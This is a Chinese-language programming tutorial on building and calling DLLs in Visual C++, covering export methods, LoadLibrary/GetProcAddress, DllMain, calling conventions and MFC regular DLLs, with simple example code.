VC++动态链接库编程
1、基础概念
1.1 链接库的概述
动态链接库DLL(DynamicLinkable Library),你可以简单的把它看成一种仓库,它提供给你一些可以直接拿来用的变量、函数或类。在库的发展史上经历了“无库-静态链接库-动态链接库”的时代。静态链接库与动态链接库都是共享代码的方式,如果采用静态链接库,则无论你愿不愿意,lib 中的指令都被直接包含在最终生成的EXE文件中了。但是若使用DLL,该DLL不必被包含在最终EXE文件中,EXE文件执行时可以“动态”地引用和卸载这个与EXE独立的DLL文件。静态链接库和动态链接库的另外一个区别在于静态链接库中不能再包含其他的动态链接库或者静态库,而在动态链接库中还可以再包含其他的动态或静态链接库。
对动态链接库,我们还需建立如下概念:
(1)DLL的编制与具体的编程语言及编译器无关
只要遵循约定的DLL接口规范和调用方式,用各种语言编写的DLL都可以相互调用。譬如Windows提供的系统DLL(其中包括了Windows的API),在任何开发环境中都能被调用,不在乎其是VisualBasic、VisualC++还是Delphi。
(2)动态链接库随处可见
我们在Windows目录下的system32文件夹中会看到kernel32.dll、user32.dll和gdi32.dll,windows的大多数API都包含在这些DLL中。kernel32.dll中的函数主要处理内存管理和进程调度;user32.dll中的函数主要控制用户界面;gdi32.dll中的函数则负责图形方面的操作。一般的程序员都用过类似MessageBox的函数,其实它就包含在user32.dll这个动态链接库中。由此可见DLL对我们来说其实并不陌生。
(3)VC 动态链接库的分类
VisualC++支持三种DLL,它们分别是Non-MFCDLL(非MFC动态库)、MFC RegularDLL(MFC规则DLL)、MFC Extension DLL(MFC扩展DLL)。
非MFC动态库不采用MFC类库结构,其导出函数为标准的C接口,能被非MFC或MFC编写的应用程序所调用;MFC规则DLL包含一个继承自CWinApp的类,但其无消息循环;
MFC扩展DLL采用MFC的动态链接版本创建,它只能被用MFC类库所编写的应用程序所调用。
1.2 静态库与动态库的区别
静态链接库Lib(Static Link Library),是在编译的链接阶段将库函数嵌入到应用程序的内部。如果系统中运行的多个应用程序都包含所用到的公共库函数,则必然造成很大的浪费。这样即增加了链接器的负担,也增大了可执行程序的大小,还加大了内存的消耗。Lib的好处是应用程序可以独立运行,而不需要在操作系统中另外安装对应的DLL。
而DLL采用动态链接,对公用的库函数,系统只有一个拷贝(一般是位于系统目录的*.DLL文件),而且只有在应用程序真正调用时,才加载到内存。在内存中的库函数,也只有一个拷贝,可供所有运行的程序调用。当再也没有程序需要调用它时,系统会自动将其卸载,并释放其所占用的内存空间。参见图1。
图1 静态库函数与动态链接库的区别
DLL的缺点是应用程序不能独立运行,需要在操作系统中另外安装对应的DLL。例如,如果你的MFC项目被设置成“在共享DLL中使用MFC”的,则虽然生成的可执行程序很小,但是在其他没有安装Visual C++(运行环境)的机器上是不能直接运行的,需要另外安装MFC的动态链接库(如mfc90.dll)。
1.2 静态链接库
对静态链接库的讲解不是本文的重点,但是在具体讲解DLL之前,通过一个静态链接库的例子可以快速地帮助我们建立“库”的概念。
图2
图3
如图2和图3,使用VC++2008工具新建一个名称为StaticLib的静态库工程(Win32控制台应用程序或Win32项目均可),并新建lib.h 和lib.cpp 两个文件,源代码如下:
//文件:lib.h #ifndef _LIB_H_ #define _LIB_H_
extern"C" int add(int x,int y); //声明为C编译、连接方式的外部函数
#endif |
//文件:lib.cpp #include "stdafx.h" #include"lib.h"
int add(int x,int y) { return x+y; } |
图4 生成的静态库文件
编译这个工程就得到了一个.lib文件,这个文件就是一个函数库,它提供了add的功能。将头文件和.lib 文件提交给用户后,用户就可以直接使用其中的add函数了。
下面来看看怎么使用这个库,在StaticLib 工程所在的工作区(解决方案)内新建一个libCall 工程。libCall 工程仅包含一个main.cpp文件,它演示了静态链接库的调用方法,其源代码如下:
#include<stdio.h> #include"../StaticLib/lib.h" #pragma comment(lib, "../debug/StaticLib.lib") //指定与静态库一起连接
int main(int argc,char*argv[]) { printf("2 +3=%d",add(2,3)); return 0; } |
静态链接库的调用就是这么简单,或许我们每天都在用,可是我们没有明白这个概念。代码中#pragmacomment(lib ,"..\debug\\StaticLib.lib")的意思是指本文件生成的.obj文件应与StaticLib.lib 一起链接。如果不用#pragma comment指定,则可以直接在VC++中设置,如图5和6,依次选择配置属性->链接器->输入->附加依赖项,填入库文件路径和文件名。
图5 设置连接的lib库名称
图6 设置链接的lib库所在的目录
这个例子让我们了解到:
(1)编写库的程序和编写一般的程序区别不大,只是库不能单独执行;
(2)库提供一些可以给别的程序调用的东西,别的程序要调用它必须以某种方式指明它要调用之。
1.3 库的调试与查看
由于库文件不能单独执行,因而在按下F5(开始debug模式执行)或CTRL+F5(运行)执行时,其弹出如图7所示的对话框,要求用户输入可执行文件的路径来启动库函数的执行(如图7),或者在属性中设置可执行文件的路径(如图8)。这个时候我们输入要调用该库的EXE文件的路径就可以对库进行调试了,其调试技巧与一般应用工程的调试一样。
图7 选择可执行文件
图8 在属性中设置可执行的文件路径
通常有比上述做法更好的调试途径,那就是将库工程和应用工程(调用库的工程)放置在同一VC工作区,只对应用工程进行调试,在应用工程调用库中函数的语句处设置断点,执行后按下F11,这样就单步进入了库中的函数。第1.2节中的StaticLib 和LibCall工程就放在了同一工作区,其工程结构如图9所示。
图9 把库工程和调用库的工程放入同一工作区进行调试
上述调试方法对静态链接库和动态链接库而言是一致的。动态链接库中的导出接口可以使用Visual C++的Depends工具进行查看,让我们用Depends打开系统目录中的user32.dll,看到了几个版本的MessageBox了!
图10 用Depends查看user32.dll
1.3 MFC DLL的类型
使用MFC编写的DLL,可以分成两大类:
l 规则DLL——规则(regular)DLL中所包含的函数,可以被所有Windows应用程序使用;
n 共享MFC——DLL中不包含MFC库函数,需要另外安装MFC动态链接库后才能使用;
n 静态MFC——DLL中包含MFC库函数,可以脱离MFC动态链接库独立使用。
l 扩展DLL——扩展(extension)DLL中所定义的类和函数,只能被MFC应用程序使用。而且扩展DLL中不能包含MFC库函数,也需要另外安装MFC动态链接库后才能使用。
2、非MFC的DLL编写
2.1 一个简单的DLL
第1.3节给出了以静态链接库方式提供add函数接口的方法,接下来我们来看看怎样用动态链接库实现一个同样功能的add函数。
图11 新建DLL工程
如图11,在VC++中新建一个Win32的DllTest(注意左侧树里不要选择MFC,因为后面将讲述基于MFC的动态链接库),在建立的工程中添加lib.h 及lib.cpp 文件,源代码如下:
/* 文件名:lib.h */ #ifndef _LIB_H_ #define _LIB_H_
#ifdef DLLTEST_EXPORTS //在DllTest工程的预处理中定义 #define LIB_API extern "C" __declspec(dllexport) #else #define LIB_API extern "C" __declspec(dllimport) #endif
LIB_API int add(int x,int y);
#endif/*_LIB_H_*/ |
/* 文件名:lib.cpp */ #include"lib.h"
int add(int x,int y) { return x+y; } |
分析上述代码,DllTest工程中的lib.cpp 文件与第1.3节静态链接库版本完全相同,不同在于lib.h 对函数add的声明前面添加了LIB_API宏的定义。当DLLTEST_EXPORTS这个宏有定义时,这个语句的含义是声明函数add为DLL的extern"C" __declspec(dllexport)导出函数,否则为extern"C" __declspec(dllimport)导入函数。当我们在DllTest工程中添加.h和.cpp文件的时候,VC会自动在编译的“预处理器”中添加*_EXPORTS的定义,其中*为工程名称,如图12,这样在DllTest工程内时,add就被定义成导出函数了,当lib.h文件给调用者使用时,由于调用者的工程中没有该宏的定义,所以它的add函数就被定义成了导入函数。
图12 *_EXPORTS宏的定义位置
DLL内的函数分为两种:
(1)DLL导出函数,可供应用程序调用;
(2)DLL内部函数(非导出),只能在DLL程序使用,应用程序无法调用它们。
2.2 DLL导出函数
DLL中导出函数的声明有两种方式:一种为2.1节例子中给出的在函数声明中加上__declspec(dllexport),这里不再举例说明;另外一种方式是采用模块定义(.def) 文件声明,.def文件为链接器提供了有关被链接程序的导出、属性及其他方面的信息。
下面的代码演示了怎样同.def文件将函数add声明为DLL导出函数(需在DllTest工程中添加lib.def文件):
; lib.def : 导出DLL函数 LIBRARY DllTest EXPORTS add @ 1 |
.def文件的规则为:
(1)LIBRARY语句说明.def文件相应的DLL;
(2)EXPORTS语句后列出要导出函数的名称。可以在.def文件中的导出函数名后加@n,表示要导出函数的序号为n(在后面进行显示函数调用时,这个序号将发挥其作用);
(3).def 文件中的注释由每个注释行开始处的分号(;) 指定,且注释不能与语句共享一行。
由此可以看出,例子中lib.def文件的含义为生成名为“DllTest”的动态链接库,导出其中的add函数,并指定add函数的序号为1。
2.3 DLL的调用方式
动态链接库的调用方式包括两种:隐式调用和显式调用两种。下面一一说来。
2.3.1 隐式调用(静态调用)
隐式调用也被称为静态调用,是由编译系统完成对DLL的加载和应用程序结束时DLL的卸载。当调用某DLL的应用程序结束时,若系统中还有其它程序使用该DLL,则Windows对DLL的应用记录减1,直到所有使用该DLL的程序都结束时才释放它。静态调用方式同静态链接库的调用方式相同,特点是简单实用,但不如动态调用方式灵活。
下面我们来看看静态调用的例子,添加一个DllCall工程,并执行下列代码:
// main.cpp : 定义控制台应用程序的入口点。 #include "stdafx.h" #include <stdio.h> #include "../DllTest/lib.h"
#pragma comment(lib,"../Debug/DllTest.lib")
int main(int argc,char*argv[]) { int result =add(2,3); printf("%d",result); return 0; } |
注意:在DLLCall工程中没有对DLLTEST_EXPORTS宏的定义,故add在lib.h头文件中已经被定义称为了extern"C" __declspec(dllimport)导入函数。
2.3.2 显式调用(动态调用)
显式调用是指使用由“LoadLibrary-GetProcAddress-FreeLibrary”系统API提供的三位一体“DLL加载-DLL函数地址获取-DLL释放”方式,这种调用方式也被称为DLL的动态调用。动态调用方式的特点是完全由编程者用API函数加载和卸载DLL,程序员可以决定DLL文件何时加载或不加载,显式链接在运行时决定加载哪个DLL文件。
下面的代码展示了动态调用DLL中的函数add,其源代码如下:
// main.cpp : 定义控制台应用程序的入口点。 #include "stdafx.h" #include<stdio.h> #include<windows.h> typedef int(*lpAddFun)(int, int); //宏定义函数指针类型
int main(int argc,char*argv[]) { HINSTANCE hDll;//DLL句柄 lpAddFun addFun;//函数指针
hDll=LoadLibrary("../Debug/DllTest.dll"); if (hDll != NULL) { addFun=(lpAddFun)GetProcAddress(hDll, "add"); if (addFun!= NULL) { int result =addFun(2,3); printf("%d",result); } FreeLibrary(hDll); }
return 0; } |
注意:这里需要指定DLL文件的路径。
2.3.3放置DLL的目录
为了使需要动态链接库的应用程序可以运行,需要将DLL文件放在操作系统能够找到的地方。Windows操作系统查找DLL的目录顺序为:
1. 所在目录——当前进程的可执行模块所在的目录,即应用程序的可执行文件(*.exe)所在的目录。
2. 当前目录——进程的当前目录。
3. 系统目录——Windows操作系统安装目录的系统子目录,如C:\Windows\ System32。可用GetSystemDirectory函数检索此目录的路径。
4. Windows目录——Windows操作系统安装目录,如C:\Windows\。可用GetWindowsDirectory函数检索此目录的路径。
5. 搜索目录——PATH环境变量中所包含的自动搜索路径目录,一般包含C:\Windows\和C:\Windows\System32\等目录。可在命令行用Path命令来查看和设置,也可以通过(在“我的电脑”右键菜单中选“属性”菜单项)“系统属性”中的环境变量,来查看或编辑“Path”系统变量和“PATH”用户变量。
2.3.4 调用方式总结
由上述代码可以看出,静态调用方式的顺利进行需要完成两个动作:
(1)告诉编译器与DLL相对应的.lib文件所在的路径及文件名,#pragmacomment(lib,"../Debug/DllTest.lib")就是起这个作用。
程序员在建立一个DLL文件时,连接器会自动为其生成一个对应的.lib文件,该文件包含了DLL导出函数的符号名及序号(并不含有实际的代码)。在应用程序里,.lib文件将作为DLL的替代文件参与编译。
(2)声明导入函数,extern"C" __declspec(dllimport) add(intx,inty)语句中的__declspec(dllimport)发挥这个作用,这里是在lib.h文件中的LIB_API宏的定义来实现的。
静态调用方式不再需要使用系统API来加载、卸载DLL以及获取DLL中导出函数的地址。这是因为,当程序员通过静态链接方式编译生成应用程序时,应用程序中调用的与.lib文件中导出符号相匹配的函数符号将进入到生成的EXE文件中,.lib文件中所包含的与之对应的DLL文件的文件名也被编译器存储在EXE文件内部。当应用程序运行过程中需要加载DLL文件时,Windows将根据这些信息发现并加载DLL,然后通过符号名实现对DLL函数的动态链接。这样,EXE将能直接通过函数名调用DLL的输出函数,就像调用程序内部的其他函数一样。
2.4 DllMain函数
Windows在加载DLL的时候,需要一个入口函数,就如同控制台或DOS程序需要main函数、WIN32程序需要WinMain函数一样。在前面的例子中,DLL并没有提供DllMain函数,应用工程也能成功引用DLL,这是因为Windows在找不到DllMain的时候,系统会从其它运行库中引入一个不做任何操作的缺省DllMain函数版本,并不意味着DLL可以放弃DllMain函数。
根据编写规范,Windows必须查找并执行DLL里的DllMain函数作为加载DLL的依据,它使得DLL得以保留在内存里。这个函数并不属于导出函数,而是DLL的内部函数。这意味着不能直接在应用工程中引用DllMain函数,DllMain是自动被调用的。
我们来看一个DllMain函数的例子:
BOOL APIENTRY DllMain(HANDLE hModule,DWORD ul_reason_for_call, LPVOID lpReserved) { switch(ul_reason_for_call) { case DLL_PROCESS_ATTACH: printf("process attach of dll\n "); break; case DLL_THREAD_ATTACH: printf("thread attach of dll\n "); break; case DLL_THREAD_DETACH: printf("thread detach of dll\n "); break; case DLL_PROCESS_DETACH: printf("process detach of dll\n "); break; } return TRUE; } |
DllMain函数在DLL被加载和卸载时被调用,在单个线程启动和终止时,DLLMain函数也被调用,
ul_reason_for_call指明了被调用的原因。原因共有4种,即PROCESS_ATTACH、PROCESS_DETACH、
THREAD_ATTACH和THREAD_DETACH,以switch语句列出。来仔细解读一下DllMain的函数头BOOLAPIENTRY DllMain(HANDLE hModule,WORD ul_reason_for_call,LPVOID lpReserved ):
(1) APIENTRY被定义为__stdcall,它意味着这个函数以标准Pascal的方式进行调用,也就是WINAPI方式;
(2) 进程中的每个DLL模块被全局唯一的32字节的HINSTANCE句柄标识,只有在特定的进程内部有效,句柄代表了DLL模块在进程虚拟空间中的起始地址。在Win32中,HINSTANCE和HMODULE的值是相同的,这两种类型可以替换使用,这就是函数参数hModule的来历。
(3) 执行下列代码:
hDll=LoadLibrary("..\\Debug\\dllTest.dll");
if (hDll != NULL)
{
addFun=(lpAddFun)GetProcAddress(hDll, MAKEINTRESOURCE(1));
//MAKEINTRESOURCE直接使用导出文件中的序号
if (addFun!= NULL)
{
int result =addFun(2,3);
printf("\ncall add in dll:%d",result);
}
FreeLibrary(hDll);
}
我们看到输出顺序为:
process attach of dll
call add in dll:5
process detach of dll
这一输出顺序验证了DllMain被调用的时机。
代码中的GetProcAddress(hDll,MAKEINTRESOURCE(1) )值得留意,它直接通过.def文件中为add函数指定的顺序号访问add函数,具体体现在MAKEINTRESOURCE( 1),MAKEINTRESOURCE是一个通过序号获取函数名的宏,定义为(节选自winuser.h):
#defineMAKEINTRESOURCEA(i)(LPSTR)((DWORD)((WORD)(i)))
#defineMAKEINTRESOURCEW(i)(LPWSTR)((DWORD)((WORD)(i)))
#ifdefUNICODE
#defineMAKEINTRESOURCE MAKEINTRESOURCEW
#else
#defineMAKEINTRESOURCE MAKEINTRESOURCEA
2.4 __stdcall约定
如果通过VC++编写的DLL欲被其他语言编写的程序调用,应将函数的调用方式声明为__stdcall方式,WINAPI都采用这种方式,而C/C++缺省的调用方式却为__cdecl。__stdcall方式与__cdecl对函数名最终生成符号的方式不同。若采用C编译方式(在C++中需将函数声明为extern"C"),__stdcall调用约定在输出函数名前面加下划线,后面加“@”符号和参数的字节数,形如_functionname@number;而__cdecl调用约定仅在输出函数名前面加下划线,形如_functionname。Windows编程中常见的几种函数类型声明宏都是与__stdcall和__cdecl有关的(节选自windef.h):
#define CALLBACK__stdcal l//这就是传说中的回调函数
#define WINAPI__stdcall //这就是传说中的WINAPI
#define WINAPIV__cdecl
#define APIENTRY WINAPI //DllMain的入口就在这里
#define APIPRIVATE __stdcall
#define PASCAL __stdcall
在lib.h 中,应这样声明add函数:
int __stdcall add(int x,int y);
在应用工程中函数指针类型应定义为:
typedef int(__stdcall *lpAddFun)(int,int);
若在lib.h 中将函数声明为__stdcall调用,而应用工程中仍使用typedefint (*lpAddFun)(int,int),运行时将发生错误(因为类型不匹配,在应用工程中仍然是缺省的__cdecl调用),弹出如图12所示的对话框。
图13调用约定不匹配时的运行错误
图13中的那段话实际上已经给出了错误的原因,即“This is usually are result of …”。
2.5 DLL导出变量
DLL定义的全局变量可以被调用进程访问;DLL也可以访问调用进程的全局数据,我们来看看在应用工程中引用DLL中变量的例子。
/* 文件名:lib.h */ #ifndef _LIB_H_ #define _LIB_H_
extern int dllGlobalVar;
#endif /*_LIB_H_*/ |
/* 文件名:lib.cpp */ #include"lib.h" #include<windows.h> int dllGlobalVar;
BOOL APIENTRY DllMain(HANDLE hModule,DWORD ul_reason_for_call,LPVOID lpReserved) { switch(ul_reason_for_call) { case DLL_PROCESS_ATTACH: dllGlobalVar=100;//在dll被加载时,赋全局变量为100 break; case DLL_THREAD_ATTACH: case DLL_THREAD_DETACH: case DLL_PROCESS_DETACH: break; } return TRUE; } |
;文件名:lib.def,在DLL中导出变量 LIBRARY "DllTest" EXPORTS dllGlobalVar DATA ;或dllGlobalVar CONSTANT |
从lib.h 和lib.cpp 中可以看出,全局变量在DLL中的定义和使用方法与一般的程序设计是一样的。若要导出某全局变量,我们需要在.def文件的EXPORTS后添加:
变量名 CONSTANT //过时的方法
或
变量名 DATA //VC++提示的新方法
在主函数中引用DLL中定义的全局变量:
#include<stdio.h>
#pragmacomment(lib,"DllTest.lib") extern int dllGlobalVar;
int main(intargc,char*argv[]) { printf("%d", *(int*)dllGlobalVar); *(int*)dllGlobalVar=1; printf("%d", *(int*)dllGlobalVar); return 0; } |
特别要注意的是用extern int dllGlobalVar声明所导入的并不是DLL中全局变量本身,而是其地址,应用程序必须通过强制指针转换来使用DLL中的全局变量。这一点,从*(int*)dllGlobalVar可以看出。因此在采用这种方式引用DLL全局变量时,千万不要进行这样的赋值操作:
dllGlobalVar=1;
其结果是dllGlobalVar指针的内容发生变化,程序中以后再也引用不到DLL中的全局变量了。在应用工程中引用DLL中全局变量的一个更好方法是:
#include<stdio.h>
#pragma comment(lib,"DllTest.lib") extern int _declspec(dllimport) dllGlobalVar; //用_declspec(dllimport)导入
int main(intvargc,char*vargv[]) { printf("%d", dllGlobalVar); dllGlobalVar=1; //这里就可以直接使用, 无须进行强制指针转换 printf("%d", dllGlobalVar); return 0; } |
通过_declspec(dllimport)方式导入的就是DLL中全局变量本身而不再是其地址了,故建议采用如下的头文件定义方式:
/* 文件名:lib.h */ #ifndef _LIB_H_ #define _LIB_H_
#ifdef DLLTEST_EXPORTS #define LIB_API extern "C" __declspec(dllexport) #else #define LIB_API extern "C" __declspec(dllimport) #endif
LIB_API int dllGlobalVar;
#endif/*_LIB_H_*/ |
2.6 DLL导出类
DLL中定义的类可以在应用工程中使用。下面的例子里,我们在DLL中定义了point类,并在应用工程中引用了它。
/*Point.h文件:类Point的声明*/ #ifndef _POINT_H_ #define _POINT_H_
#ifdef DLLTEST_EXPORTS #define CLASS_EXPORT __declspec(dllexport) #else #define CLASS_EXPORT __declspec(dllimport) #endif /*DLLTEST_EXPORTS*/
class CLASS_EXPORT Point { public: float y; float x;
public: Point(void); ~Point(void);
Point(float xx,float yy); };
#endif /*_POINT_H_*/ |
/*Point.cpp类的实现文件*/ #include "Point.h"
Point::Point(void) :x(0.),y(0.) { }
Point::~Point(void) { }
Point::Point(float xx,float yy) :x(xx),y(yy) { } |
类在工程中的使用,添加一个DllCall工程,写入如下代码:
// main.cpp : 定义控制台应用程序的入口点。 #include "stdafx.h" #include <stdio.h> #include "../DllTest/Point.h"
#pragma comment(lib,"../Debug/DllTest.lib")
int main(int argc,char*argv[]) { Point p(1,2); printf("p.x=%f,p.y=%f\n",p.x,p.y);
return 0; } |
从上述源代码可以看出,由于在Point.h文件代码中定义了宏DLLTEST_EXPORTS,故CLASS_EXPORT被定义为_declspec(dllexport),所以在DLL的类声明实际上为:
class _declspec(dllexport) point //导出类point
{
…
}
而在应用工程DllCall中没有定义DLLTEST_EXPORTS,故CLASS_EXPORT被定义为__declspec(dllimport),所以DLL中引入的类声明为:
class _declspec(dllimport) point //导入类point
{
…
}
不错,正是通过DLL中的
class _declspec(dllexport) class_name //导出类point
{
…
}
与应用程序中的
class _declspec(dllimport) class_name //导入类
{
…
}
匹对来完成类的导出和导入的!
2.7 DLL总结
由上述可见,应用工程中几乎可以看到DLL中的一切,包括函数、变量以及类,这就是DLL所要提供的强大能力。只要DLL释放这些接口,应用程序使用它就将如同使用本工程中的程序一样!
3、MFC规则DLL编写
3.1 MFC规则DLL概述
使用MFC编写的规则DLL,虽然只能导出函数而不能导出整个类,但是其导出的函数却可以其他被非MFC应用程序所调用。下面我们仍通过上面的四则运算的例子,看看如何用关键字__declspec(dllexport)和extern "C"来编写和使用导出若干(全局)C函数的规则MFC DLL。
MFC规则DLL的概念体现在两方面:
(1)它是MFC的
“是MFC的”意味着可以在这种DLL的内部使用MFC;
(2)它是规则的
“是规则的”意味着它不同于MFC扩展DLL,在MFC规则DLL的内部虽然可以使用MFC,但是其与应用程序的接口不能是MFC。而MFC扩展DLL与应用程序的接口可以是MFC,可以从MFC扩展DLL中导出一个MFC类的派生类。
Regular DLL能够被所有支持DLL技术的语言所编写的应用程序调用,当然也包括使用MFC的应用程序。在这种动态连接库中,包含一个从CWinApp继承下来的类,DllMain函数则由MFC自动提供。
Regular DLL分为两类:
(1)静态链接到MFC的规则DLL
静态链接到MFC的规则DLL与MFC库(包括MFC扩展DLL)静态链接,将MFC库的代码直接生成在.dll文件中。在调用这种DLL的接口时,MFC使用DLL的资源。因此,在静态链接到MFC的规则DLL中不需要进行模块状态的切换。使用这种方法生成的规则DLL其程序较大,也可能包含重复的代码。
(2)动态链接到MFC的规则DLL
动态链接到MFC的规则DLL可以和使用它的可执行文件同时动态链接到MFCDLL和任何MFC扩展DLL。在使用了MFC共享库的时候,默认情况下,MFC使用主应用程序的资源句柄来加载资源模板。这样,当DLL和应用程序中存在相同ID的资源时(即所谓的资源重复问题),系统可能不能获得正确的资源。因此,对于共享MFCDLL的规则DLL,我们必须进行模块切换以使得MFC能够找到正确的资源模板。
我们可以在Visual C++中设置MFC规则DLL是静态链接到MFC DLL还是动态链接到MFC DLL。如图14。
图14 链接到MFC的方式
3.2 MFC的DLL函数导出
使用MFC创建DLL时,从项目中导出(export)函数到DLL文件的方法有:
l 使用模块定义文件(.def)。
l 使用__declspec(dllexport)关键字或其替代宏AFX_EXT_CLASS。
这两种方法是互斥的,对每个函数只需用一种方法即可。另外,DEF文件只能用来导出函数,不能用于导出整个类。导出C++类,必须用__declspec(dllexport)关键字或其替代宏AFX_EXT_CLASS。
1.DEF文件
同2.2节,模块定义(moduledefinition)文件(.def)是包含一个或多个描述DLL各种属性的模块语句的文本文件。DEF文件必须至少包含下列模块定义语句:
l 文件中的第一个语句必须是LIBRARY语句。此语句将.def文件标识为属于DLL。LIBRARY语句的后面是DLL的名称(缺省为DLL项目名)。链接器将此名称放到DLL的导入库中。
l EXPORTS语句列出名称,可能的话还会列出DLL导出函数的序号值。通过在函数名的后面加上@符和一个数字,给函数分配序号值。当指定序号值时,序号值的范围必须是从1到N,其中N是DLL导出函数的个数。
即,DEF文件的格式为:(在这两个语句之间,还可以加上可选的描述语句:DESCRIPTION "库描述串"。分号;后的文本内容行为注释)
; 库名.def
LIBRARY 库名
EXPORTS
函数名1 @1
函数名2 @2
……
函数名n @n
在使用MFC DLL向导创建MFC DLL项目时,VC会自动创建一个与项目同名但没有任何函数导出项的DEF文件(项目名.def),格式为:
; 项目名.def : 声明 DLL 的模块参数。
LIBRARY "项目名"
EXPORTS
; 此处可以是显式导出
例如,项目名为RegDll的DEF文件(RegDll.def)的内容为:
; RegDll.def : 声明 DLL 的模块参数。
LIBRARY "RegDll"
EXPORTS
; 此处可以是显式导出
如果生成扩展DLL并使用.def文件导出,则将下列代码放在包含导出类的头文件的开头和结尾:
#undef AFX_DATA
#define AFX_DATA AFX_EXT_DATA
// <你的头文件体>
#undef AFX_DATA
#define AFX_DATA
这些代码行确保内部使用的MFC变量或添加到类的变量是从扩展DLL导出(或导入)的。例如,当使用DECLARE_DYNAMIC派生类时,该宏扩展以将CRuntimeClass成员变量添加到类。省去这四行代码可能会导致不能正确编译或链接DLL,或在客户端应用程序链接到DLL时导致错误。
当生成DLL时,链接器使用.def文件创建导出(.exp)文件和导入库(.lib)文件。然后,链接器使用导出文件生成DLL文件。隐式链接到DLL的可执行文件在生成时链接到导入库。请注意,MFC本身就是使用.def文件从MFCx0.dll导出函数和类的。
2.关键字或宏
除了使用DEF文件来导出函数外,还可以在源程序中使用__declspec(dllexport)关键字或其替代宏AFX_EXT_CLASS:
#define AFX_EXT_CLASS AFX_CLASS_EXPORT(定义在头文件afxv_dll.h中)
#define AFX_CLASS_EXPORT __declspec(dllexport) (定义在头文件afxver_.h中)
来导出函数和整个C++类。
具体的格式为:
l 导出整个类:
class AFX_EXT_CLASS 类名[ : public基类]
{
……
}
l 导出类的成员函数:
class 类名[ : public基类]
{
AFX_EXT_CLASS 返回类型 函数名1(……) ;
AFX_EXT_CLASS 返回类型 函数名2(……) ;
……
}
l 导出外部C格式的(全局)函数:
extern "C" __declspec(dllexport) 返回类型 函数名(……)
{
……
}
如果希望用MFC(C++)编写的规则DLL中的函数,也能够被非MFC程序来调用,需要为函数声明指定extern "C"。不然,C++编译器会使用C++类型安全命名约定(也称作名称修饰)和C++调用约定(使用此调用约定从C调用会很困难)。
为了使用方便,可以定义宏:
#define DllExport extern "C" __declspec(dllexport)
然后再使用它,例如:
DllExport int Add(int d1, int d2) {……}
3.3 MFC规则DLL的创建
我们来一步步讲述使用MFC向导创建MFC规则DLL的过程。创建一个名为RegDll的规则DLL的“Visual C++”之“MFC”的“MFC DLL”项目,注意需选中“创建解决方案的目录”复选框,参见图15。
图15 新建MFC DLL项目RegDll的对话框
按“确定”钮,弹出“MFC DLL向导”对话框。在“DLL类型”栏中,选中“使用共享MFC DLL的规则DLL”单选钮,参见图16。按“完成”钮,创建RegDll解决方案和项目。
图16 选择规则DLL的MFC DLL向导对话框
1区域处也可以选择“带静态链接MFC的规则DLL”,差别是所生成的DLL中会包含MFC库,当然所生成的库文件也会大一些(但因此可不用另外安装MFC动态链接库)。例如,在此例中,选共享MFC所生成的RegDll.dll文件只有13KB大,而选择静态MFC的则有199KB。
规则DLL项目是使用共享MFC还是使用静态MFC,也可以在生成DLL项目之后,通过项目属性对话框的“配置属性->常规”页中的“MFC的使用”栏中的下拉式列表选项来切换,这一点与普通MFC应用程序项目的类似。
2区选择是否支持automation(自动化)技术,automation允许用户在一个应用程序中操纵另外一个应用程序或组件。例如,我们可以在应用程序中利用MicrosoftWord或MicrosoftExcel的工具,而这种使用对用户而言是透明的。自动化技术可以大大简化和加快应用程序的开发。
3区选择是否支持Windows Sockets,当选择此项目时,应用程序能在TCP/IP网络上进行通信。CWinApp派生类的InitInstance 成员函数会初始化通讯端的支持,同时工程中的StdAfx.h文件会自动include <AfxSock.h>头文件。添加socket通讯支持后的InitInstance成员函数如下:
BOOL CRegularDllApp::InitInstance()
{
if(!AfxSocketInit())
{
AfxMessageBox(IDP_SOCKETS_INIT_FAILED);
returnFALSE;
}
returnTRUE;
}
3.4一个简单的MFC规则DLL
这个DLL的例子(属于静态链接到MFC的规则DLL)中提供了一个如图11所示的对话框。在DLL中添加对话框的方式与在MFC应用程序中是一样的。在图17所示DLL中的对话框的Hello按钮上点击时将MessageBox一个“Hello,您好”消息框。
图17 示例
(1)在3.3节所建立的RegDll工程的资源视图上,添加一个对话框资源,并在对话框上添加一个“hello”按钮,如下图所示:
图18 新建资源窗口
(2)在窗口上鼠标右键,选择“添加类“,在类名称中输入“CDllDialog”,如下图:
图19 添加窗口类
(3)添加“Hello”按钮的双击响应事件。
void CDllDialog::OnBnClickedButton1() { // TODO: 在此添加控件通知处理程序代码 MessageBox(_T("Hello,您好"),_T("提示信息")); } |
(4)编写导出函数,注意这里的宏REGDLL_EXPORTS是在RegDll工程的预处理中定义的。
图20 代码
3.5 源代码分析
第一组文件:CWinApp继承类的声明与实现
// RegDll.h : RegDll DLL 的主头文件 // #pragma once
#ifndef __AFXWIN_H__ #error "在包含此文件之前包含“stdafx.h”以生成 PCH 文件" #endif
#include "resource.h" // 主符号
// CRegDllApp // 有关此类实现的信息,请参阅 RegDll.cpp //
class CRegDllApp : public CWinApp { public: CRegDllApp();
// 重写 public: virtual BOOL InitInstance();
DECLARE_MESSAGE_MAP() }; |
// RegDll.cpp : 定义 DLL 的初始化例程。 // #include "stdafx.h" #include "RegDll.h"
#ifdef _DEBUG #define new DEBUG_NEW #endif
// //TODO: 如果此 DLL 相对于 MFC DLL 是动态链接的, // 则从此 DLL 导出的任何调入 // MFC 的函数必须将 AFX_MANAGE_STATE 宏添加到 // 该函数的最前面。 // // 例如: // // extern "C" BOOL PASCAL EXPORT ExportedFunction() // { // AFX_MANAGE_STATE(AfxGetStaticModuleState()); // // 此处为普通函数体 // } // // 此宏先于任何 MFC 调用 // 出现在每个函数中十分重要。这意味着 // 它必须作为函数中的第一个语句 // 出现,甚至先于所有对象变量声明, // 这是因为它们的构造函数可能生成 MFC // DLL 调用。 // // 有关其他详细信息, // 请参阅 MFC 技术说明 33 和 58。 //
// CRegDllApp
BEGIN_MESSAGE_MAP(CRegDllApp, CWinApp) END_MESSAGE_MAP()
// CRegDllApp 构造
CRegDllApp::CRegDllApp() { // TODO: 在此处添加构造代码, // 将所有重要的初始化放置在 InitInstance 中 }
// 唯一的一个 CRegDllApp 对象
CRegDllApp theApp;
// CRegDllApp 初始化
BOOL CRegDllApp::InitInstance() { CWinApp::InitInstance();
return TRUE; } |
分析:
在这一组文件中定义了一个继承自CWinApp的类CRegularDllApp,并同时定义了其的一个实例theApp。乍一看,您会以为它是一个MFC应用程序,因为MFC应用程序也包含这样的在工程名后添加“App”组成类名的类(并继承自CWinApp类),也定义了这个类的一个全局实例theApp。
